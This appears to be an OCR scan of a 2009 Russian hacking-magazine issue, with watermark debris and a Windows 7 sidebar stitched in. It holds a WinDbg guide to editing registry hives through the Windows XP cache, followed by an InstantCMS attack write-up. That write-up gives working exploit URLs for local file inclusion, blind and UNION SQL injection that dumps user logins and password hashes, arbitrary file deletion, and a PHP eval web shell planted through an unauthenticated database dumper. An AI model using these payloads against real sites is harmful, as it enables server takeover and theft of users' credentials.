Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
17.2 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

MmPagedPoolStart = e1000000; 48FB00+ e1000000 = e148FB00.

Нашли адрес proto-PTE, сдампим его, то есть получим содержимое.

dd e148FB00 l1 e148fb00 87944cd6

Proto-PTE равен

0x87944cd6 = 1 00001111001010001001 1 00110 1011 0 |->PTE указывает на подраздел

|->Описывает маппируемый файл

Вычислим адрес подраздела (по форм. SubsectionAddress = MmSubsectionBase + PrototypeIndex << 3, обычно MmSubsectionBase == MmNonPagedPoolStart ).

Index = 000011110010100010011011 = F289B << 3 = 7944D8; MmNonPagedPoolStart = 81181000; 7944D8 + 81181000 = 819154D8 — адрес подраздела.

dt _subsection 819154D8 nt!_SUBSECTION

+0x000 ControlArea : 0x819154a8 _CONTROL_AREA

+0x004 u : __unnamed

+0x008

StartingSector : 0

 

+0x00c NumberOfFullSectors : 0x1000

 

+0x010

SubsectionBase : 0xe148d000 _MMPTE

 

+0x014

UnusedPtes : 0

 

+0x018

PtesInSubsection : 0x1000

 

+0x01c NextSubsection : 0x81913660 _SUBSECTION

!ca 0x819154a8

 

ControlArea @ 819154a8

 

Segment • e13d66c8 • Flink • 00000000 • Blink

00000000

Section Ref • 1 • Pfn Ref • 2b6 • Mapped Views • 3c User Ref • 0 • WaitForDel • 0 • Flush Count • 0File Object • 818ed338 • ModWriteCount • 0 • System Views • 3c

Flags (8088) NoModifiedWriting File WasPurged

File: \$Mft

Сегмент имеет вид:

dt _SEGMENT e13d66c8 nt!_SEGMENT

+0x000

ControlArea : 0x819154a8 _CONTROL_AREA

+0x004

TotalNumberOfPtes : 0x1b00

+0x008

NonExtendedPtes : 0x1000

+0x00c WritableUserReferences : 0

+0x010

SizeOfSegment : 0x1b00000

+0x018

SegmentPteTemplate : _MMPTE

+0x01c NumberOfCommittedPages : 0

+0x020

ExtendInfo : (null)

+0x024

SystemImageBase : (null)

+0x028

BasedAddress : (null)

+0x02c u1 : __unnamed

+0x030

u2 : __unnamed

+0x034

PrototypePte : 0x61564d43 _MMPTE

+0x038

ThePtes : [1] _MMPTE

Получим такие же значения по открытой карте кэша:

dt _vacb SharedCacheMap 0x8194aa70 nt!_VACB

+0x004 SharedCacheMap : 0x818c7b08 _SHARED_CACHE_MAP

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Выборочный вывод структуры открытой карты с интересующими полями:

dt _SHARED_CACHE_MAP 0x818c7b08 nt!_SHARED_CACHE_MAP

+0x008

FileSize : _LARGE_INTEGER 0x1ae8000

+0x010

BcbList : _LIST_ENTRY [0x81913a60-0x819138b8]

+0x018

SectionSize : _LARGE_INTEGER 0x1b00000

+0x044

FileObject : 0x818ed338 _FILE_OBJECT // совпада-

ет с адресом, указанным в control_area (вывод !ca).

+0x078 Section : 0xe13d6698

// соответствующий раздел

dt _SECTION_OBJECT Segment 0xe13d6698

 

nt!_SECTION_OBJECT

 

 

+0x014 Segment : 0xe13d66c8

_SEGMENT_OBJECT

//сегмент

для проецирования файла как

бинарного

 

PTE кэша начинаются с адреса, который указывается в MmSystemCachePteBase (обычно совпадает с началом таблицы стра-

ниц, 0xC0000000).

Модификацию кэша на практике можно использовать для разных задач. Рассмотрим, например, запись в параметр раздела реестра без применения API-функций, через кэш. В отличие от w2k, в которой диспетчер конфигурации хранил данные кустов в подкачиваемом пуле, в wxp он проецирует файлы кустов реестра, используя объектыразделы.

Попробуем модифицировать данные в разделе HKCU. Файл раздела хранится в \Document and Setting\<account name>\NTUSER>DAT. Если запустить приведенную выше программку windbg, ты сможешь увидеть, что этих файлов смаппировано несколько, например, для встроенной учетной записи системы — NetworkService:

Vacb #280 0x819baa40 -> 0xd0180000

File: 0x81765610

Offset: 0x00000000

\Documents and Settings\root\NTUSER.DAT

Root — моя учетная запись

Vacb #289 0x819bab18 -> 0xcf6c0000 File: 0x81666bf8

Offset: 0x00000000

\Documents and Settings\NetworkService\NTUSER.DAT

Этот VACB описывает куст для учетной записи NetworkService. Воспользуемся первым выводом для записи root. Она показала, что адрес данных в кэше 0xd0180000, при этом проекция идет с начала файла, смещение ноль. Также воспользуемся командой !fileobj для вывода более подробной информации.

kd> !fileobj 0x81765610

\Documents and Settings\root\NTUSER.DAT

Device Object: 0x81927bb8

\Driver\Ftdisk

Vpb: 0x8192a818

 

Access: Read Write -> присутствует тип доступа Write, значит, страницы раздела будут сброшены в куст на диске Flags: 0x140040

Cache Supported

Handle Created

Random Access

FsContext: 0xe1632d90 FsContext2: 0xe3efdc18

Private Cache Map: 0x816750e0 CurrentByteOffset: 0

Cache Data:

Section Object Pointers: 81812d84 -> принадлежит FSD Shared Cache Map: 81675008

File Offset: 0 in VACB number 0

XÀÊÅÐ 11 /131/ 09

059

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

ВЗЛОМ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

УСПЕХ!

Vacb: 819baa40 -> íàø VACB

Your data is at: d0180000 -> и адрес данных в кэше

Структура куста — это тема для отдельного доклада, поэтому быстренько пробегаемся по памяти и ищем какие-нибудь данные. Нашли для параметра по умолчанию раздела HKEY_CURRENT_USER\ AppEvents\EventLabels\.Default его значение — Default Beep.

Изменим его, например, так:

eb d018142e 70/eb d0181430 70.

Нужно подождать, пока содержимое кэша сбросится в файл. Это может произойти сразу, а может через некоторое время, в любом случае после перезагрузки данные в файле на диске будут изменены. В этом примере изменения сразу отобразились в regedit (после F5).

Модифицирование данных через windbg хорошая практика, но в боевых условиях нужно писать драйвер, который это будет делать более-менее автоматически. Рассмотрим один из вариантов.

При открытии кустов для мапинга, их дескрипторы сохраняются в системной таблице дескрипторов, доступ к которой можно получить, например, в контексте процесса System. Мы можем перебрать там все дескрипторы (смотри мануалы Ms-remа на wasm) и найти указатели на соответствующие file objectы, которые нам нужны (сравнивая полный путь к кусту с тем, что указано в FileName файлового объекта). Зная адрес файлового объ-

екта, мы выходим на структуру _SECTION_OBJECT_POINTERS,

а затем выходим на открытую карту. То есть, FileObject Æ SectionObjectPointer Æ SharedCacheMap. В SHARED_CACHE_MAP

анализируем, с какого смещения проецируется файл, используя указатель на массив VACB — _SHARED_CACHE_MAPÆ Vacbs. Если по требуемому смещению, например, нулевому, что будет соот-

ветствовать _SHARED_CACHE_MAP Æ Vacbs[0], будет указатель на VACB, то из него мы и получаем указатель на слот с данными. Кстати, чтобы найти количество элементов в массиве, нужно раз-

делить значение, указанное в SHARED_CACHE_MAP.FileSize, на

256 Кб. Напомню, запись из драйвера на страницы кэша нужно осуществлять с предельной осторожностью и только если страница присутствует в памяти. В более сложном варианте нужно анализировать поля PTE и proto-PTE.

Завершающий experience по этому поводу. Я нашел file object для своего \Documents and Settings\root\NTUSER.DAT. Далее:

kd> dt _file_object 0x8169b3c0 SectionObjectPointer ntdll!_FILE_OBJECT

+0x014 SectionObjectPointer : 0x81826b6c _SECTION_

060

OBJECT_POINTERS

kd> dt _SECTION_OBJECT_POINTERS 0x81826b6c SharedCacheMap

ntdll!_SECTION_OBJECT_POINTERS

+0x004 SharedCacheMap : 0x816efd18 -> открытая карта уникальна для дискового файла

kd> dt _SHARED_CACHE_MAP 0x816efd18 Vacbs nt!_SHARED_CACHE_MAP

+0x040 Vacbs : 0x81868e78 -> 0x819baa88 _VACB -> массив VACB

Кроме того:

kd> dt _SHARED_CACHE_MAP 816efd18 FileSize

nt!_SHARED_CACHE_MAP

+0x008 FileSize : _LARGE_INTEGER 0x140000

0x140000 / 0x40000 = 5 элементов в массиве указателей VACB.

Теперь смело дампим его:

kd> dd 0x81868e78 l8

81868e78 819baa88 819baba8 819bab60 819babd8

81868e88 819baa70 00000000 00000000 00000000

Видим, что в кэше присутствуют все части файла 5 * 256 * 1024 = 0x140000 байт.

Если нам нужны данные со смещения ноль, то выполняем команду:

kd> dt _VACB 819baa88 BaseAddress nt!_VACB

0x000 BaseAddress : 0xcfb40000

Это, собственно, и есть данные с начала файла ntuser.dat.

ТЕПЕРЬ ВСЕ! Для модифицирования нужных данных необходимо иметь парсер реестра и знать, с какого смещения в кусте начинаются данные. А дальше — по вышеприведенной схеме. Аналогичным образом модифицируются и данные в MFT, но об этом я расскажу в другой раз, после того, как скушаешь и переваришь информацию :). На этой ноте кланяюсь и еще раз желаю удачи в отладке! z

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Реклама

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

ВЗЛОМ

SPYDER SPYDER@ANTICHAT.NET

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

СОЦИАЛЬНЫЙ

ВЗЛОМ PEN-TESTING ПОПУЛЯРНОГО ДВИЖКА СОЦСЕТИ

СОЦИАЛЬНЫЕ СЕТИ ВНЕЗАПНО СТАЛИ ОЧЕНЬ ПОПУЛЯРНЫ. СЕЙЧАС СОЦИАЛЬНАЯ СЕТЬ — ЭТО И СПОСОБ ПООБЩАТЬСЯ,

ÈНАЙТИ ДРУЗЕЙ, А ДЛЯ КОГО-ТО — ЗАРАБОТАТЬ ДЕНЬГИ.

ÈНЕТ НИЧЕГО УДИВИТЕЛЬНОГО, ЧТО КАЖДЫЙ ЗАХОТЕЛ СОЗДАТЬ СВОЮ СОЦСЕТЬ. КАК РАЗ ДЛЯ ЭТОГО БЫЛ НАПИСАН ПРОСТОЙ, УДОБНЫЙ (И, КАК ПОЗЖЕ ВЫЯСНИЛОСЬ, ИЗОБИЛУЮЩИЙ УЯЗВИМОСТЯМИ) ДВИЖОК. ИМЯ ЕМУ INSTANTCMS.

В ПРЕДДВЕРИИ АТАКИ Бродя по просторам рунета, я наткнулся на один сайт. Его контент очень напоминал CMS, и я решил узнать, что же он из себя представляет. Недолго думая, я попытался найти админку, вбив в адресную строку:

www.site.ru/admin/

После этого мне оставалось только лицезреть поле ввода логина и пароля, а также надпись «InstantCMS — Авторизация». Навестив гугл с запросом InstantCMS, первым результатом я получил ссылку на официальный сайт двига — www.instantcms.ru. Последней версией на данный момент оказалась 1.5.2. Через минуту исходники лежали на моем жестком диске.

GRAY-BOX

Подняв на своем компьютере apache и mysql, я установил цмс и принялся за анализ исходного кода. Первое, что бросилось в

глаза — это папка wysiwyg, в которой находился до боли знакомый FCKeditor. На мой взгляд, FCKeditor — лучший помощник при наличии локального инклуда. По адресу

http://localhost/wysiwyg/editor/filemanager/

connectors/test.html

находится аплодер файлов. К сожалению, файлы с расширением

.php, .phtml, .cgi и т.п. залить не получится, однако при наличии LFI это уже неважно, ведь файл с любым расширением выполнится как php-код. LFI+FCKeditor — и шелл у нас в кармане. Но все же это трудно назвать уязвимостью InstantCMS, потому что разработкой фцкэдитора занимаются совсем другие люди. Поэтому, так как все работает через mod_rewrite, я решил заглянуть в .htaccess и нашел там вот что:

#COMPONENT "RSS FEEDS"

RewriteRule ^rss/([a-z]*)/(.*)/feed.rss$ /components/rssfeed/frontend.php?&target=$1&item_id=$2

В надежде найти SQL-Injection я направился к файлу frontend.php и увидел там интересный код:

if (isset($_REQUEST['do'])){ $do = $_REQUEST['do'];

} else { $do = 'rss'; }

if (isset($_REQUEST['target'])){ $target = $_REQUEST['target'];

} else { die(); }

if (isset($_REQUEST['item_id'])) {

062

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

FCKEDITOR НАСАЙТЕ

INSTANTCMS.RU

ВАДМИНКЕ

Попав в админку, шелл можно залить несколькими способами, но самый эффективный

— через баннеры. Переходим в Главная Æ Компоненты Æ Баннеры , жмем «Новый баннер» и загружаем php-шелл, проверки на расширение нет. Шелл будет распола-

гаться по адресу example.com/images/banners/shell.php.

$item_id = $_REQUEST['item_id']; } else { die(); }

...

if ($do=='rss'){ $rss = '';

if (file_exists($_SERVER['DOCUMENT_ROOT']. '/components/'.$target.'/prss.php')){

$inCore->includeFile('components/'. $target.'/prss.php');

Да это же чистой воды Local File Inclusion в переменной $target! Если в конфигурации PHP директива magic_quotes_gpc = off , мы можем проинклудить любой файл, указав нул-байтом конец строки таким образом:

http://localhost/components/rssfeed/frontend.php?item_id= 1&target=../../../../../../../../../../../../etc/hosts%00

Следует заметить, что способ обхода magic_quote_gpc подстановкой >4000 слешей в данном случае работать не будет, так как путь до файла объявлен с помощью переменной $_SERVER['DOCUMENT_ ROOT'], а, следовательно, вызов функции getcwd() не выполняется.

Унас есть LFI, а залить файл с php-кодом внутри уже не проблема,

вспомни про FCKeditor. В случае если администратор отключил

загрузку файлов в едиторе, ты можешь зарегистрировать нового пользователя в системе и залить аватар со злым содержимым :).

УКОЛ ВСЛЕПУЮ И НЕ ТОЛЬКО

Инклуд это хорошо, но и на этом я не остановился, и присмотрелся внимательнее к коду файла frontend.php:

if (file_exists($_SERVER['DOCUMENT_ROOT']. '/components/'.$target.'/prss.php'))

{

$inCore->includeFile('components/'.$target.'/prss.php'); eval('rss_'.$target.'($item_id, $cfg, $rssdata);');

Впапке components находились различные компоненты системы, но

яискал такие, где находился бы файл prss.php, и нашел такой

function rss_blog($item_id, $cfg, &$rssdata){

...

$cat = dbGetFields('cms_blogs', 'id='.$item_id, 'id, title');

Поиск функции dbGetFields привел меня к файлу /core/cms.php:

ФИШКИ WINDOWS 7: НОВЫЙ ТАСКБАР И JUMP-ЛИСТЫ

Одна из самых заметных новинок с позиции пользователя (даже самого ушастого) — это, конечно же,

обновленный таскбар. Это не просто симпатичная панелька с большими кнопками, а удобный инструмент, объединяющий в себе механизм для быстрого запуска программ, управления окнами и доступа

к последним документам. Это стало возможным за счет так называемых Jumpлистов. По своей сути такой выпадающий список аналогичен меню «Пуск», но только для конкретного приложения — в нем отображается список последних документов, ключевые опции приложения. За при-

мером далеко ходить не нужно — кликни в таскбаре правой кнопкой мыши по иконке Internet Explorer 8.0.

С помощью Jump-листов ты сможешь быстро перейти по линку из истории браузера. Удобно, правда? К сожалению, полноценная поддержка нового таскбара пока не реализована во всех

приложениях (кстати, статья по этому поводу уже была у нас в Кодинге). Но недостаток исправляется энтузиастами: для популярных программ выходят специальные хаки. Например, для плеера Winamp давно раз-

работан специальный плагин win7shell (code.google.com/p/ win7shell).

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

 

 

 

 

ВЗЛОМ

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

УСПЕШНОВЫПОЛНЕННЫЙДАМПБАЗЫ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ПАНЕЛЬУПРАВЛЕНИЯСАЙТОМ

function dbGetFields($table, $where, $fields, $order='id ASC')

{

$inDB = cmsDatabase::getInstance(); return $inDB->get_fields($table,

$where, $fields, $order);

}

По правде говоря, все эти скачки по файлам мне изрядно поднадоели, но финиш был близок. Файл /core/classes/db.class.php показал мне содержимое функции get_fields:

public function get_fields($table, $where,

$fields, $order='id ASC')

{

$sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order LIMIT 1";

$result = $this->query($sql);

if ($this->num_rows($result))

{

$data = $this->fetch_assoc($result); return $data;

}else {

return false;

}

}

На всем пути моего путешествия я не встретил ни одной проверки значения переменной item_id, за исключением файла .htaccess. Следовательно, у нас в кармане sql-injection, но, к сожалению слепая. Пример использования:

http://localhost/components/rssfeed/frontend.php? item_id=1+and+1=if(substring(version(),1,1)=5)&targe t=blog

Как быстро раскрутить слепую инъекцию — читай в статье Qwazar’a в предыдущем номере z. Инъекция это хорошо, а еще лучше — когда видишь результат запроса; через 10 минут анализа кода был найден файл core/ajax/tagsearch.php, а в нем — следующее содержимое:

$q = iconv('UTF-8//IGNORE', 'WINDOWS-1251//IGNORE', $_GET['q']);

$q = strtolower($q); if (!$q)

return;

define("VALID_CMS", 1); include($_SERVER['DOCUMENT_ROOT'].

'/includes/config.inc.php'); include($_SERVER['DOCUMENT_ROOT']. '/includes/database.inc.php');

$sql = "SELECT tag FROM cms_tags WHERE LOWER(tag) LIKE '{$q}%' GROUP BY tag";

$rs = mysql_query($sql);

...

И к моему удивлению — также никакой проверки переменной $_GET[‘q’], плюс ко всему результат запроса выводился на страницу. Запрос

http://localhost/core/ajax/tagsearch.php?q=notexist

tag}'+union+select+concat(login,':',password)+from+c ms_users+limit+1,1--+

показал мне логин и md5(пароль) первого пользователя в базе, а убрав limit, я получил всех пользователей. Данная SQl-Injection будет работать только при отключенной директиве magic_quotes_ gpc.

БОЛЬШЕ ЧЕМ ДАМПЕР

Не рассчитывая на что-то большее, я залогинился в админке с целью найти способ заливки веб-шелла, и первое, на что обратил внимание, был дампер базы данных. Я решил найти его исходник в папке admin. Но он оказался совсем в другом месте, а именно — в core/ajax/dumper.php. Самое интересное, что при прямом обращении к нему не было никакой авторизации! А это значит, любой пользователь без админских привилегий может сделать дамп базы.

if ($inCore->request('file', 'str'))

{

$shortfile = $inCore->request('file', 'str'); } else {

$shortfile = date('d-m-Y').'.sql';

}

$opt = $inCore->request('opt', 'str', 'export');

064

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ВСЕПОЛЬЗОВАТЕЛИ

 

 

 

 

 

 

 

 

 

ВЕБ-ШЕЛЛ:)

 

 

СОДЕРЖИМОЕ/ETC/PASSWD, ПО-

 

 

 

 

 

 

 

 

ЛУЧЕННОЕЧЕРЕЗLFI

 

 

 

 

 

Польза от этой уязвимости незначительная, но все же есть. Пример

 

$dir

= PATH.'/backups';

 

 

 

$file = $dir.'/'.$shortfile;

 

 

использования:

 

...

 

 

 

 

 

 

 

 

 

if ($opt=='export')

 

 

http://localhost/core/ajax/dumper.php?

 

 

{

 

 

 

 

 

opt=delete&file=../index.php

 

 

include($_SERVER['DOCUMENT_ROOT'].

 

 

 

 

 

 

 

 

Ну и, наконец, самое интересное, — мы можем делать бэкап, причем

 

 

'/includes/dbexport.inc.php');

 

 

 

if (is_writable($dir))

 

 

можем задать любое имя файла. Что же нам мешает создать файл с рас-

 

{

 

 

 

 

 

ширением .php, а перед этим записать в базу php-код? А мешают филь-

 

 

$dumper = new MySQLDump($inConf->db_base,

 

тры. XSS-фильтров разработчики поставили очень много, но я нашел

 

 

$file, false, false);

 

 

место, где символы «<>» не обрезаются. Для этого регистрируемся на

 

 

$dumper->doDump();

 

 

сайте и идем в свой профиль, а именно — в раздел «Мой Блог», созда-

 

 

if(!$inDB->errno())

 

 

ем там персональный блог, переходим в него и постим новую запись:

 

 

{

 

 

 

 

 

 

 

 

 

$fileurl = '/backups/'.$shortfile;

 

<?php

 

 

 

echo '<span style="color:green">Экспорт

 

eval($_GET[ev]);

 

 

базы данных завершен.</span> <a href="/

 

 

die;

 

 

backups/'.$shortfile.'" target="_blank">Скачать

 

?>

 

 

 

ôàéë</a> | <a href="#" onclick="deleteDump

 

 

 

 

 

 

 

 

В итоге, в БД запишется наш php-код и останется только создать

 

(\''.$shortfile.'\')">Удалить файл</a><div

 

 

 

class="hinttext">Чтобы скачать файл, щелкните правой

 

дамп с расширеним .php:

 

кнопкой мыши по ссылке и выберите "Сохранить объект

 

 

 

 

 

êàê..."</div>';

 

 

 

http://www.example.com/core/ajax/dumper.php?

 

 

 

} else {

 

 

 

opt=export&file=shell.php

 

 

 

echo '<span style="color:red">Ошибка экс-

 

 

 

 

 

 

 

Теперь наш шелл создан и находится по адресу:

 

порта

áàçû</span>';

 

 

 

 

}

 

 

 

 

 

 

 

 

}

else {

 

 

 

 

http://www.example.com/backup/shell.php?ev=phpinfo();

 

 

 

echo '<span style="color:red">Папка "/backups"

 

 

 

 

 

 

 

OUTRO

 

не доступна для записи!</span>';

 

 

 

}

 

 

 

 

 

Написать свою CMS довольно сложно, но еще сложнее уследить за

 

}

 

 

 

 

 

безопасностью. А так как личные блоги и соцсети плодятся, как грибы

 

 

 

 

 

 

 

после дождя, найти потенциально уязвимый сайт становится проще.

 

 

 

 

 

 

При обращении к файлу с параметром opt, равным export, и file,

 

Учись на чужих ошибках, и помни, что все, что ты только что прочитал,

равным dump.sql, в папке /backup/ создастся файл dump.sql.

 

написано исключительно с целью ознакомления, и ни автор, ни редак-

Пример:

 

 

 

 

 

ция не несут ответственности за твои действия.z

 

 

 

 

 

 

 

 

http://localhost/core/ajax/dumper.

 

 

 

 

 

 

php?opt=export&file=dump.sql

 

 

 

 

 

 

 

 

 

 

 

Пробежав глазами по коду, я нашел удаление произвольных фай-

 

 

 

 

лов:

 

 

 

 

 

 

 

 

 

if ($opt=='delete'){

 

 

 

 

 

 

